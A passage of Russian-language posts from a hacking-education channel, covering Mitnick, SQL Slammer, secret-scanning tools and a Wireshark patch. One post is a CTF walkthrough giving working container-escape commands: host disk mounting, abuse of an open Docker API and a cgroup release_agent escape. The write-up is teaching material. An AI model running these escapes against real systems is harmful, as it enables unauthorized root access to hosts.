🤔 Почему Mitnick опаснее любого malware

Что он делал:

— крал исходники операционок (Sun, Digital Equipment);
— клонировал мобильные телефоны для бесплатных звонков;
— вскрывал корпоративные сети через доверчивых секретарей.

⚡ Почему миф был страшнее реальности:

Правительство держало его 8 месяцев в одиночке БЕЗ суда — якобы он мог "взломать NORAD свистом по телефону". Это была паранойя 90-х, когда никто не понимал, что возможно, а что — голливудская фантастика.

➖ Mitnick доказал, что 90% успешных атак начинаются с человеческого фактора. Техническая защита бесполезна, если кто-то под видом техподдержки просто спрашивает пароль. Поэтому он стал основателем целого направления security awareness training.

Сейчас ему ставят памятники компании, которые он когда-то взламывал 😏

🐸 Библиотека хакера

#zero_day_legends

🔓 Разбор задачи

Правильный ответ: ВСЕ ТРИ работают, но с нюансами!

➡️ Mount host disk

Почему работает:

Флаг --privileged отключает изоляцию устройств. Контейнер видит все диски хоста.

Эксплойт:

Шаг 1: Смотрим доступные диски
fdisk -l

Видим /dev/sda1 (корень хоста)

Шаг 2: Монтируем
mkdir /mnt/host
mount /dev/sda1 /mnt/host

Шаг 3: Профит!
cat /mnt/host/root/flag.txt

🟢 Плюсы: элементарно, 3 команды
🔴 Минусы: оставляет следы в логах монтирования

➡️ Docker API abuse

Почему работает:
Если DOCKER_HOST открыт без TLS, можем создавать контейнеры от имени хоста.

Эксплойт:

Проверяем доступ к API
curl https://172.17.0.1:2375/version

Запускаем новый контейнер с volume хоста
docker -H tcp://172.17.0.1:2375 run -v /:/host \
  -it alpine chroot /host sh

Теперь мы root на хосте!
cat /root/flag.txt

🟢 Плюсы: полный root-доступ, можем делать всё

🔴 Минусы: нужен Docker CLI в контейнере (не всегда есть)

➡️ Cgroup escape (КЛАССИКА)

Почему работает:
Privileged-контейнер может писать в cgroup notify_on_release и выполнить код на хосте.

Эксплойт:

Создаём cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
cd /tmp/cgrp

Включаем notify_on_release
echo 1 > cgroup.procs
echo 1 > notify_on_release

Пишем скрипт, который выполнится на хосте
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > release_agent

Создаём команду
cat /root/flag.txt > /output

🟢 Плюсы: работает даже без явных устройств
🔴 Минусы: сложнее, требует понимания cgroups

💬 Какой способ использовали бы вы?

🐸 Библиотека хакера

#ctf_challenge

🔐 Secrets Scanning

🕵️ TruffleHog:

— Сканит Git историю, Docker образы, S3, файловые системы
— 800+ детекторов секретов с верификацией
— Находит токены AWS, GitHub, API ключи с проверкой валидности
— Интеграция в CI/CD, pre-commit hooks
— Но: много false-positive без точной настройки

🔍 Gitleaks:

— Легковесный, быстрый (Go)
— Кастомные regex правила
— SARIF отчеты для DevOps
— Меньше жрет ресурсов
— Но: нет автоматической верификации найденных секретов

❓ Чем ловите утёкшие токены:

❤️ — TruffleHog
🔥 — Gitleaks

🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib

🐸 Библиотека хакера

#tool_vs_tool

Даешь дорогу молодым 🥖

🐸 Библиотека хакера

#hack_humor

🧨 Что стояло за этим хаосом: краткий разбор SQL Slammer

SQL Slammer стал примером того, как несколько сотен байт кода могут вывести из строя инфраструктуру. Он не шифровал данные и не ломал системы — он перегружал сети.

🔍 Почему он разнёсся за минуты:

Уязвимость находилась в SQL Server (UDP/1434).
UDP не требует соединения: один пакет — и сервер начинает рассылать червя дальше.
Каждая заражённая машина множила нагрузку, пока маршрутизаторы и каналы не начинали «сыпаться».

➡️ Почему падали даже защищённые системы:

Slammer создавал такой объём пакетов, что маршрутизаторы и каналы начинали перегружаться.

Из-за этого выходили из строя:
— банкоматы,
— авиасистемы,
— экстренные службы,
— корпоративные сети,

даже если уязвимости там уже не было.

📌 Slammer стал наглядным примером того, как сетевые атаки могут парализовать инфраструктуру быстрее, чем их успевают обнаружить.

🐸 Библиотека хакера

#zero_day_legends

🛡️ Wireshark 4.6.1: обновление безопасности

Вышел патч для сетевого анализатора. Для ИБ-специалистов критично.

➕ Что исправлено:

— 2 уязвимости (RCE/DoS риски при анализе вредоносного трафика)
— 20 багов стабильности
— Обновлены декодеры: HTTP/3, DNS, DTLS, KRB5, SMB, EAPOL-MKA, TCP, SNMP, VLAN

➕ Зачем обновляться:

Wireshark анализирует непрове
ренный трафик. Уязвимый анализатор = компрометация рабочей станции ИБ-специалиста.

Ставим:

sudo apt update && sudo apt upgrade wireshark

🔗 Release notes

🐸 Библиотека хакера

#patch_notes